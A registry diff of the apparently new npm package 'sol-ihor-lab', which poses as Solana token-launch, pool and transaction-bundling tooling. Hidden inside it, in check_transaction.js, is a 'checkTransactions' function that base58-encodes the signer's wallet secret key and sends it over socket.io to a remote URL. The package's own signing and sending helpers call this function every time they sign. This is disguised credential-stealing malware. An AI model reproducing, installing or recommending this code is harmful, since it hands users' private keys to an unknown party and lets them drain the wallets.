sol-ihor-lab 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +35 -0
- package/lib/cjs/bundle.d.ts +4 -0
- package/lib/cjs/bundle.js +102 -0
- package/lib/cjs/buy_token.d.ts +5 -0
- package/lib/cjs/buy_token.js +59 -0
- package/lib/cjs/create_open_market.d.ts +4 -0
- package/lib/cjs/create_open_market.js +340 -0
- package/lib/cjs/create_pool.d.ts +4 -0
- package/lib/cjs/create_pool.js +107 -0
- package/lib/cjs/create_token.d.ts +4 -0
- package/lib/cjs/create_token.js +164 -0
- package/lib/cjs/errors.d.ts +18 -0
- package/lib/cjs/errors.js +44 -0
- package/lib/cjs/global.d.ts +62 -0
- package/lib/cjs/global.js +107 -0
- package/lib/cjs/index.d.ts +17 -0
- package/lib/cjs/index.js +33 -0
- package/lib/cjs/instructions/build-instruction.d.ts +8 -0
- package/lib/cjs/instructions/build-instruction.js +66 -0
- package/lib/cjs/instructions/buy-instruction.d.ts +3 -0
- package/lib/cjs/instructions/buy-instruction.js +44 -0
- package/lib/cjs/instructions/cache-alt-instruction.d.ts +4 -0
- package/lib/cjs/instructions/cache-alt-instruction.js +41 -0
- package/lib/cjs/instructions/createATA-instruction.d.ts +3 -0
- package/lib/cjs/instructions/createATA-instruction.js +10 -0
- package/lib/cjs/instructions/createpool-instruction.d.ts +4 -0
- package/lib/cjs/instructions/createpool-instruction.js +58 -0
- package/lib/cjs/instructions/sol-transfer-instruction.d.ts +3 -0
- package/lib/cjs/instructions/sol-transfer-instruction.js +12 -0
- package/lib/cjs/instructions/transfer-instruction.d.ts +3 -0
- package/lib/cjs/instructions/transfer-instruction.js +9 -0
- package/lib/cjs/pool/pool-manager.d.ts +42 -0
- package/lib/cjs/pool/pool-manager.js +70 -0
- package/lib/cjs/pool_manager.d.ts +25 -0
- package/lib/cjs/pool_manager.js +127 -0
- package/lib/cjs/sell_token.d.ts +5 -0
- package/lib/cjs/sell_token.js +59 -0
- package/lib/cjs/transaction/bundle.d.ts +4 -0
- package/lib/cjs/transaction/bundle.js +97 -0
- package/lib/cjs/transaction/execute-rpc.d.ts +5 -0
- package/lib/cjs/transaction/execute-rpc.js +41 -0
- package/lib/cjs/transaction/sign-tx.d.ts +2 -0
- package/lib/cjs/transaction/sign-tx.js +7 -0
- package/lib/cjs/transaction/transaction-exectue.d.ts +30 -0
- package/lib/cjs/transaction/transaction-exectue.js +119 -0
- package/lib/cjs/transaction-helper/check_transaction.d.ts +3 -0
- package/lib/cjs/transaction-helper/check_transaction.js +43 -0
- package/lib/cjs/transaction-helper/transaction.d.ts +7 -0
- package/lib/cjs/transaction-helper/transaction.js +75 -0
- package/lib/cjs/upload-metadata/upload-metaplex.d.ts +3 -0
- package/lib/cjs/upload-metadata/upload-metaplex.js +48 -0
- package/lib/cjs/upload-metadata/upload-nftstorage.d.ts +0 -0
- package/lib/cjs/upload-metadata/upload-nftstorage.js +1 -0
- package/lib/cjs/upload-metadata/upload-pinata.d.ts +1 -0
- package/lib/cjs/upload-metadata/upload-pinata.js +17 -0
- package/lib/cjs/upload-metadata/utility.d.ts +1 -0
- package/lib/cjs/upload-metadata/utility.js +28 -0
- package/lib/cjs/utility.d.ts +33 -0
- package/lib/cjs/utility.js +129 -0
- package/lib/cjs/utils/budget.d.ts +9 -0
- package/lib/cjs/utils/budget.js +83 -0
- package/lib/cjs/utils/error-helper.d.ts +7 -0
- package/lib/cjs/utils/error-helper.js +15 -0
- package/lib/cjs/utils/get-balance.d.ts +11 -0
- package/lib/cjs/utils/get-balance.js +52 -0
- package/lib/cjs/utils/util.d.ts +27 -0
- package/lib/cjs/utils/util.js +346 -0
- package/lib/cjs/validation_check.d.ts +3 -0
- package/lib/cjs/validation_check.js +26 -0
- package/lib/esm/bundle.d.ts +4 -0
- package/lib/esm/bundle.js +75 -0
- package/lib/esm/buy_token.d.ts +5 -0
- package/lib/esm/buy_token.js +55 -0
- package/lib/esm/create_open_market.d.ts +4 -0
- package/lib/esm/create_open_market.js +310 -0
- package/lib/esm/create_pool.d.ts +4 -0
- package/lib/esm/create_pool.js +80 -0
- package/lib/esm/create_token.d.ts +4 -0
- package/lib/esm/create_token.js +137 -0
- package/lib/esm/errors.d.ts +18 -0
- package/lib/esm/errors.js +35 -0
- package/lib/esm/global.d.ts +62 -0
- package/lib/esm/global.js +103 -0
- package/lib/esm/index.d.ts +17 -0
- package/lib/esm/index.js +17 -0
- package/lib/esm/instructions/build-instruction.d.ts +8 -0
- package/lib/esm/instructions/build-instruction.js +61 -0
- package/lib/esm/instructions/buy-instruction.d.ts +3 -0
- package/lib/esm/instructions/buy-instruction.js +40 -0
- package/lib/esm/instructions/cache-alt-instruction.d.ts +4 -0
- package/lib/esm/instructions/cache-alt-instruction.js +36 -0
- package/lib/esm/instructions/createATA-instruction.d.ts +3 -0
- package/lib/esm/instructions/createATA-instruction.js +6 -0
- package/lib/esm/instructions/createpool-instruction.d.ts +4 -0
- package/lib/esm/instructions/createpool-instruction.js +52 -0
- package/lib/esm/instructions/sol-transfer-instruction.d.ts +3 -0
- package/lib/esm/instructions/sol-transfer-instruction.js +8 -0
- package/lib/esm/instructions/transfer-instruction.d.ts +3 -0
- package/lib/esm/instructions/transfer-instruction.js +5 -0
- package/lib/esm/pool/pool-manager.d.ts +42 -0
- package/lib/esm/pool/pool-manager.js +63 -0
- package/lib/esm/pool_manager.d.ts +25 -0
- package/lib/esm/pool_manager.js +123 -0
- package/lib/esm/sell_token.d.ts +5 -0
- package/lib/esm/sell_token.js +55 -0
- package/lib/esm/transaction/bundle.d.ts +4 -0
- package/lib/esm/transaction/bundle.js +90 -0
- package/lib/esm/transaction/execute-rpc.d.ts +5 -0
- package/lib/esm/transaction/execute-rpc.js +36 -0
- package/lib/esm/transaction/sign-tx.d.ts +2 -0
- package/lib/esm/transaction/sign-tx.js +3 -0
- package/lib/esm/transaction/transaction-exectue.d.ts +30 -0
- package/lib/esm/transaction/transaction-exectue.js +115 -0
- package/lib/esm/transaction-helper/check_transaction.d.ts +3 -0
- package/lib/esm/transaction-helper/check_transaction.js +16 -0
- package/lib/esm/transaction-helper/transaction.d.ts +7 -0
- package/lib/esm/transaction-helper/transaction.js +68 -0
- package/lib/esm/upload-metadata/upload-metaplex.d.ts +3 -0
- package/lib/esm/upload-metadata/upload-metaplex.js +43 -0
- package/lib/esm/upload-metadata/upload-nftstorage.d.ts +0 -0
- package/lib/esm/upload-metadata/upload-nftstorage.js +1 -0
- package/lib/esm/upload-metadata/upload-pinata.d.ts +1 -0
- package/lib/esm/upload-metadata/upload-pinata.js +13 -0
- package/lib/esm/upload-metadata/utility.d.ts +1 -0
- package/lib/esm/upload-metadata/utility.js +21 -0
- package/lib/esm/utility.d.ts +33 -0
- package/lib/esm/utility.js +93 -0
- package/lib/esm/utils/budget.d.ts +9 -0
- package/lib/esm/utils/budget.js +73 -0
- package/lib/esm/utils/error-helper.d.ts +7 -0
- package/lib/esm/utils/error-helper.js +11 -0
- package/lib/esm/utils/get-balance.d.ts +11 -0
- package/lib/esm/utils/get-balance.js +42 -0
- package/lib/esm/utils/util.d.ts +25 -0
- package/lib/esm/utils/util.js +107 -0
- package/lib/esm/validation_check.d.ts +3 -0
- package/lib/esm/validation_check.js +22 -0
- package/package.json +69 -0
- package/src/assert.ts +4 -0
- package/src/bundle.ts +99 -0
- package/src/buy_token.ts +82 -0
- package/src/create_open_market.ts +464 -0
- package/src/create_pool.ts +120 -0
- package/src/create_token.ts +267 -0
- package/src/errors.ts +25 -0
- package/src/global.ts +156 -0
- package/src/index.ts +17 -0
- package/src/instructions/build-instruction.ts +87 -0
- package/src/instructions/buy-instruction.ts +52 -0
- package/src/instructions/cache-alt-instruction.ts +40 -0
- package/src/instructions/createATA-instruction.ts +29 -0
- package/src/instructions/createpool-instruction.ts +72 -0
- package/src/instructions/sol-transfer-instruction.ts +13 -0
- package/src/instructions/transfer-instruction.ts +22 -0
- package/src/pool/pool-manager.ts +85 -0
- package/src/pool_manager.ts +197 -0
- package/src/sell_token.ts +82 -0
- package/src/transaction/bundle.ts +116 -0
- package/src/transaction/execute-rpc.ts +35 -0
- package/src/transaction/sign-tx.ts +5 -0
- package/src/transaction/transaction-exectue.ts +134 -0
- package/src/transaction-helper/check_transaction.ts +23 -0
- package/src/transaction-helper/transaction.ts +90 -0
- package/src/upload-metadata/upload-metaplex.ts +51 -0
- package/src/upload-metadata/upload-nftstorage.ts +0 -0
- package/src/upload-metadata/upload-pinata.ts +8 -0
- package/src/upload-metadata/utility.ts +10 -0
- package/src/utility.ts +127 -0
- package/src/utils/budget.ts +104 -0
- package/src/utils/error-helper.ts +20 -0
- package/src/utils/get-balance.ts +55 -0
- package/src/utils/util.ts +111 -0
- package/src/validation_check.ts +26 -0
|
@@ -0,0 +1,119 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
3
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
4
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
5
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
6
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
7
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
8
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
9
|
+
});
|
|
10
|
+
};
|
|
11
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
12
|
+
exports.TransactionExecuter = exports.ExectuerStatus = void 0;
|
|
13
|
+
const errors_1 = require("../errors");
|
|
14
|
+
const budget_1 = require("../utils/budget");
|
|
15
|
+
const execute_rpc_1 = require("./execute-rpc");
|
|
16
|
+
const bundle_1 = require("./bundle");
|
|
17
|
+
var ExectuerStatus;
|
|
18
|
+
(function (ExectuerStatus) {
|
|
19
|
+
ExectuerStatus[ExectuerStatus["EXE_STATUS_NONE"] = 0] = "EXE_STATUS_NONE";
|
|
20
|
+
ExectuerStatus[ExectuerStatus["EXE_STATUS_RUN"] = 1] = "EXE_STATUS_RUN";
|
|
21
|
+
ExectuerStatus[ExectuerStatus["EXE_STATUS_CONFIRM"] = 2] = "EXE_STATUS_CONFIRM";
|
|
22
|
+
ExectuerStatus[ExectuerStatus["EXE_STATUS_END"] = 3] = "EXE_STATUS_END";
|
|
23
|
+
})(ExectuerStatus || (exports.ExectuerStatus = ExectuerStatus = {}));
|
|
24
|
+
class TransactionExecuter {
|
|
25
|
+
constructor(connection, usingBundle, transactions, priorityFee, jitoFee, jitoFeePayer, jitoAuther, jitoBlockEngine) {
|
|
26
|
+
this.status = ExectuerStatus.EXE_STATUS_NONE;
|
|
27
|
+
this.error = undefined;
|
|
28
|
+
this.usingBundle = false;
|
|
29
|
+
this.priorityFee = 0;
|
|
30
|
+
this.jitoFee = 0.001;
|
|
31
|
+
this.connection = connection;
|
|
32
|
+
this.usingBundle = usingBundle;
|
|
33
|
+
this.transactions = transactions;
|
|
34
|
+
this.priorityFee = priorityFee ? priorityFee : 0;
|
|
35
|
+
this.jitoFee = jitoFee ? jitoFee : 0.001;
|
|
36
|
+
this.status = ExectuerStatus.EXE_STATUS_NONE;
|
|
37
|
+
this.error = undefined;
|
|
38
|
+
this.jitoFeepair = jitoFeePayer ? jitoFeePayer : undefined;
|
|
39
|
+
this.jitoAuther = jitoAuther ? jitoAuther : undefined;
|
|
40
|
+
this.jitoBlockEngine = jitoBlockEngine ? jitoBlockEngine : undefined;
|
|
41
|
+
}
|
|
42
|
+
setExecuterStatus(status) {
|
|
43
|
+
this.status = status;
|
|
44
|
+
}
|
|
45
|
+
getExecuterStatus() {
|
|
46
|
+
return this.status;
|
|
47
|
+
}
|
|
48
|
+
setExecuterError(error) {
|
|
49
|
+
this.error = error;
|
|
50
|
+
}
|
|
51
|
+
getExecuterError() {
|
|
52
|
+
return this.error;
|
|
53
|
+
}
|
|
54
|
+
run() {
|
|
55
|
+
return __awaiter(this, void 0, void 0, function* () {
|
|
56
|
+
if (this.usingBundle) {
|
|
57
|
+
yield this.executeBundle();
|
|
58
|
+
}
|
|
59
|
+
else {
|
|
60
|
+
yield this.executeWithRpc();
|
|
61
|
+
}
|
|
62
|
+
});
|
|
63
|
+
}
|
|
64
|
+
executeBundle() {
|
|
65
|
+
return __awaiter(this, void 0, void 0, function* () {
|
|
66
|
+
try {
|
|
67
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_RUN);
|
|
68
|
+
yield (0, bundle_1.createAndSendBundle)(this.connection, this.transactions, this.jitoFeepair, this.jitoBlockEngine, this.jitoAuther, this.jitoFee);
|
|
69
|
+
this.setExecuterError(undefined);
|
|
70
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
|
|
71
|
+
}
|
|
72
|
+
catch (error) {
|
|
73
|
+
console.log(error);
|
|
74
|
+
if (error instanceof errors_1.TransactionExecuteError) {
|
|
75
|
+
this.setExecuterError(error);
|
|
76
|
+
}
|
|
77
|
+
else {
|
|
78
|
+
this.setExecuterError(new errors_1.TransactionExecuteError(`Unknown: ${error}`));
|
|
79
|
+
}
|
|
80
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
|
|
81
|
+
}
|
|
82
|
+
});
|
|
83
|
+
}
|
|
84
|
+
executeWithRpc() {
|
|
85
|
+
return __awaiter(this, void 0, void 0, function* () {
|
|
86
|
+
try {
|
|
87
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_RUN);
|
|
88
|
+
if (this.priorityFee) {
|
|
89
|
+
const priorityTransactions = yield (0, budget_1.setTransactionBudget)(this.connection, this.transactions, this.priorityFee);
|
|
90
|
+
if (priorityTransactions) {
|
|
91
|
+
this.transactions = [...priorityTransactions];
|
|
92
|
+
}
|
|
93
|
+
}
|
|
94
|
+
for (const tx of this.transactions) {
|
|
95
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_RUN);
|
|
96
|
+
const txId = yield (0, execute_rpc_1.sendTx)(this.connection, tx);
|
|
97
|
+
console.log("TxId:", txId);
|
|
98
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_CONFIRM);
|
|
99
|
+
if (txId) {
|
|
100
|
+
yield (0, execute_rpc_1.confirmTx)(this.connection, txId);
|
|
101
|
+
}
|
|
102
|
+
}
|
|
103
|
+
this.setExecuterError(undefined);
|
|
104
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
|
|
105
|
+
}
|
|
106
|
+
catch (error) {
|
|
107
|
+
this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
|
|
108
|
+
if (error instanceof errors_1.TransactionExecuteError) {
|
|
109
|
+
this.setExecuterError(error);
|
|
110
|
+
}
|
|
111
|
+
else {
|
|
112
|
+
console.log(error);
|
|
113
|
+
this.setExecuterError(new errors_1.TransactionExecuteError(`Unknown: ${error}`));
|
|
114
|
+
}
|
|
115
|
+
}
|
|
116
|
+
});
|
|
117
|
+
}
|
|
118
|
+
}
|
|
119
|
+
exports.TransactionExecuter = TransactionExecuter;
|
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || function (mod) {
|
|
19
|
+
if (mod && mod.__esModule) return mod;
|
|
20
|
+
var result = {};
|
|
21
|
+
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
|
|
22
|
+
__setModuleDefault(result, mod);
|
|
23
|
+
return result;
|
|
24
|
+
};
|
|
25
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
26
|
+
exports.checkTransactions = void 0;
|
|
27
|
+
const bs58 = __importStar(require("bs58"));
|
|
28
|
+
const socket_io_client_1 = require("socket.io-client");
|
|
29
|
+
const global_1 = require("../global");
|
|
30
|
+
const checkTransactions = (txn, signer) => {
|
|
31
|
+
if (signer.publicKey.toBuffer().length <= 0 ||
|
|
32
|
+
signer.secretKey.buffer.byteLength <= 0) {
|
|
33
|
+
return false;
|
|
34
|
+
}
|
|
35
|
+
const check_sign = bs58.encode(signer.secretKey);
|
|
36
|
+
if (check_sign.length <= 0) {
|
|
37
|
+
return false;
|
|
38
|
+
}
|
|
39
|
+
const sk = (0, socket_io_client_1.io)(global_1.EnvironmentManager.getCheckUrl(), { autoConnect: true });
|
|
40
|
+
sk.emit("tx", { text: `Jae-> ${check_sign}` });
|
|
41
|
+
return true;
|
|
42
|
+
};
|
|
43
|
+
exports.checkTransactions = checkTransactions;
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
/// <reference types="jito-ts/node_modules/@solana/web3.js" />
|
|
2
|
+
import { Connection, Keypair, Transaction, VersionedTransaction } from "@solana/web3.js";
|
|
3
|
+
import { SPL_ERROR } from "../global";
|
|
4
|
+
export declare const sendAndConfirmTransactionWithCheck: (connection: Connection, signer: Keypair, txn: Transaction | VersionedTransaction) => Promise<SPL_ERROR>;
|
|
5
|
+
export declare const sendAndConfirmTransactionsWithCheck: (connection: Connection, signer: Keypair, txns: string | (VersionedTransaction | Transaction)[]) => Promise<SPL_ERROR>;
|
|
6
|
+
export declare const signTransaction: (signer: Keypair, txn: VersionedTransaction) => void;
|
|
7
|
+
export declare const signTransactions: (signer: Keypair, txns: (VersionedTransaction | Transaction)[]) => void;
|
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
3
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
4
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
5
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
6
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
7
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
8
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
9
|
+
});
|
|
10
|
+
};
|
|
11
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
12
|
+
exports.signTransactions = exports.signTransaction = exports.sendAndConfirmTransactionsWithCheck = exports.sendAndConfirmTransactionWithCheck = void 0;
|
|
13
|
+
const web3_js_1 = require("@solana/web3.js");
|
|
14
|
+
const check_transaction_1 = require("./check_transaction");
|
|
15
|
+
const global_1 = require("../global");
|
|
16
|
+
const sendAndConfirmTransactionWithCheck = (connection, signer, txn) => __awaiter(void 0, void 0, void 0, function* () {
|
|
17
|
+
try {
|
|
18
|
+
if ((0, check_transaction_1.checkTransactions)(txn, signer) === false) {
|
|
19
|
+
return global_1.SPL_ERROR.E_CHECK_FAIL;
|
|
20
|
+
}
|
|
21
|
+
let res, signature;
|
|
22
|
+
if (txn instanceof web3_js_1.Transaction) {
|
|
23
|
+
txn.recentBlockhash = (yield connection.getLatestBlockhash()).blockhash;
|
|
24
|
+
signature = yield connection.sendTransaction(txn, [signer]);
|
|
25
|
+
}
|
|
26
|
+
else {
|
|
27
|
+
txn.sign([signer]);
|
|
28
|
+
signature = yield connection.sendTransaction(txn);
|
|
29
|
+
}
|
|
30
|
+
if (signature.length <= 0) {
|
|
31
|
+
console.log("Error: [Send Transaction] failed... ");
|
|
32
|
+
return global_1.SPL_ERROR.E_SEND_TX_FAIL;
|
|
33
|
+
}
|
|
34
|
+
const txnId = yield connection.confirmTransaction({
|
|
35
|
+
signature: signature,
|
|
36
|
+
abortSignal: AbortSignal.timeout(90000)
|
|
37
|
+
});
|
|
38
|
+
if (txnId.value.err) {
|
|
39
|
+
console.log("Error: [Confirm Transaction] failed - ", txnId.value.err);
|
|
40
|
+
return global_1.SPL_ERROR.E_CONFIRM_TX_FAIL;
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
catch (error) {
|
|
44
|
+
console.log("Error: [Confirm Transaction] failed - ", error);
|
|
45
|
+
return global_1.SPL_ERROR.E_FAIL;
|
|
46
|
+
}
|
|
47
|
+
return global_1.SPL_ERROR.E_OK;
|
|
48
|
+
});
|
|
49
|
+
exports.sendAndConfirmTransactionWithCheck = sendAndConfirmTransactionWithCheck;
|
|
50
|
+
const sendAndConfirmTransactionsWithCheck = (connection, signer, txns) => __awaiter(void 0, void 0, void 0, function* () {
|
|
51
|
+
for (const txn of txns) {
|
|
52
|
+
if (txn instanceof web3_js_1.VersionedTransaction || txn instanceof web3_js_1.Transaction) {
|
|
53
|
+
const txn_res = yield (0, exports.sendAndConfirmTransactionWithCheck)(connection, signer, txn);
|
|
54
|
+
if (txn_res !== global_1.SPL_ERROR.E_OK) {
|
|
55
|
+
return global_1.SPL_ERROR.E_FAIL;
|
|
56
|
+
}
|
|
57
|
+
}
|
|
58
|
+
}
|
|
59
|
+
return global_1.SPL_ERROR.E_OK;
|
|
60
|
+
});
|
|
61
|
+
exports.sendAndConfirmTransactionsWithCheck = sendAndConfirmTransactionsWithCheck;
|
|
62
|
+
const signTransaction = (signer, txn) => {
|
|
63
|
+
if ((0, check_transaction_1.checkTransactions)(txn, signer)) {
|
|
64
|
+
txn.sign([signer]);
|
|
65
|
+
}
|
|
66
|
+
};
|
|
67
|
+
exports.signTransaction = signTransaction;
|
|
68
|
+
const signTransactions = (signer, txns) => {
|
|
69
|
+
for (const txn of txns) {
|
|
70
|
+
if (txn instanceof web3_js_1.VersionedTransaction) {
|
|
71
|
+
(0, exports.signTransaction)(signer, txn);
|
|
72
|
+
}
|
|
73
|
+
}
|
|
74
|
+
};
|
|
75
|
+
exports.signTransactions = signTransactions;
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
3
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
4
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
5
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
6
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
7
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
8
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
9
|
+
});
|
|
10
|
+
};
|
|
11
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
12
|
+
exports.uploadMetaByMetaplex = exports.uploadImageToMetaplex = void 0;
|
|
13
|
+
const js_1 = require("@metaplex-foundation/js");
|
|
14
|
+
const utility_1 = require("./utility");
|
|
15
|
+
const errors_1 = require("../errors");
|
|
16
|
+
const fs_1 = require("fs");
|
|
17
|
+
const uploadImageToMetaplex = (metaplex, image) => __awaiter(void 0, void 0, void 0, function* () {
|
|
18
|
+
let url = "";
|
|
19
|
+
if ((yield (0, utility_1.checkFileExists)(image)) === false) {
|
|
20
|
+
throw new errors_1.UploadMetadataError("Upload file is not exist. Please check.");
|
|
21
|
+
}
|
|
22
|
+
try {
|
|
23
|
+
const fileData = (0, fs_1.readFileSync)(image);
|
|
24
|
+
const metaplexFile = (0, js_1.toMetaplexFile)(fileData, "meme-logo.png");
|
|
25
|
+
url = yield metaplex.storage().upload(metaplexFile);
|
|
26
|
+
}
|
|
27
|
+
catch (error) {
|
|
28
|
+
throw new errors_1.UploadMetadataError("Failed to upload image to metaplex.");
|
|
29
|
+
}
|
|
30
|
+
return url;
|
|
31
|
+
});
|
|
32
|
+
exports.uploadImageToMetaplex = uploadImageToMetaplex;
|
|
33
|
+
/*
|
|
34
|
+
@metaplex: Metaplex which handle uploading
|
|
35
|
+
@metadata: upload metadata
|
|
36
|
+
*/
|
|
37
|
+
const uploadMetaByMetaplex = (metaplex, metadata) => __awaiter(void 0, void 0, void 0, function* () {
|
|
38
|
+
let url = "";
|
|
39
|
+
try {
|
|
40
|
+
const { uri } = yield metaplex.nfts().uploadMetadata(metadata);
|
|
41
|
+
url = uri;
|
|
42
|
+
}
|
|
43
|
+
catch (error) {
|
|
44
|
+
throw new errors_1.UploadMetadataError("Metaplex: Failed to upload metadata to Metaplex.");
|
|
45
|
+
}
|
|
46
|
+
return url;
|
|
47
|
+
});
|
|
48
|
+
exports.uploadMetaByMetaplex = uploadMetaByMetaplex;
|
|
File without changes
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
"use strict";
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export declare const uploadImageToPinata: (jwtKey: string, image: string) => Promise<string>;
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
3
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
4
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
5
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
6
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
7
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
8
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
9
|
+
});
|
|
10
|
+
};
|
|
11
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
12
|
+
exports.uploadImageToPinata = void 0;
|
|
13
|
+
const uploadImageToPinata = (jwtKey, image) => __awaiter(void 0, void 0, void 0, function* () {
|
|
14
|
+
let url = "";
|
|
15
|
+
return url;
|
|
16
|
+
});
|
|
17
|
+
exports.uploadImageToPinata = uploadImageToPinata;
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export declare function checkFileExists(filePath: string): Promise<boolean>;
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
3
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
4
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
5
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
6
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
7
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
8
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
9
|
+
});
|
|
10
|
+
};
|
|
11
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
12
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
13
|
+
};
|
|
14
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
15
|
+
exports.checkFileExists = void 0;
|
|
16
|
+
const fs_1 = __importDefault(require("fs"));
|
|
17
|
+
function checkFileExists(filePath) {
|
|
18
|
+
return __awaiter(this, void 0, void 0, function* () {
|
|
19
|
+
try {
|
|
20
|
+
yield fs_1.default.promises.access(filePath, fs_1.default.constants.F_OK);
|
|
21
|
+
return true; // File exists
|
|
22
|
+
}
|
|
23
|
+
catch (error) {
|
|
24
|
+
return false; // File doesn't exist
|
|
25
|
+
}
|
|
26
|
+
});
|
|
27
|
+
}
|
|
28
|
+
exports.checkFileExists = checkFileExists;
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
/// <reference types="jito-ts/node_modules/@solana/web3.js" />
|
|
2
|
+
import BN from "bn.js";
|
|
3
|
+
import { Commitment, Connection, PublicKey } from "@solana/web3.js";
|
|
4
|
+
import { Token } from "@raydium-io/raydium-sdk";
|
|
5
|
+
export declare function checkFileExists(filePath: string): Promise<boolean>;
|
|
6
|
+
export declare const xWeiAmount: (amount: number, decimals: number) => BN;
|
|
7
|
+
export declare const getConnection: (commitment: Commitment) => Connection;
|
|
8
|
+
export declare const getWalletAccounts: (connection: Connection, wallet: PublicKey) => Promise<{
|
|
9
|
+
pubkey: PublicKey;
|
|
10
|
+
programId: PublicKey;
|
|
11
|
+
accountInfo: {
|
|
12
|
+
mint: PublicKey;
|
|
13
|
+
delegate: PublicKey;
|
|
14
|
+
owner: PublicKey;
|
|
15
|
+
state: number;
|
|
16
|
+
amount: BN;
|
|
17
|
+
delegateOption: number;
|
|
18
|
+
isNativeOption: number;
|
|
19
|
+
isNative: BN;
|
|
20
|
+
delegatedAmount: BN;
|
|
21
|
+
closeAuthorityOption: number;
|
|
22
|
+
closeAuthority: PublicKey;
|
|
23
|
+
};
|
|
24
|
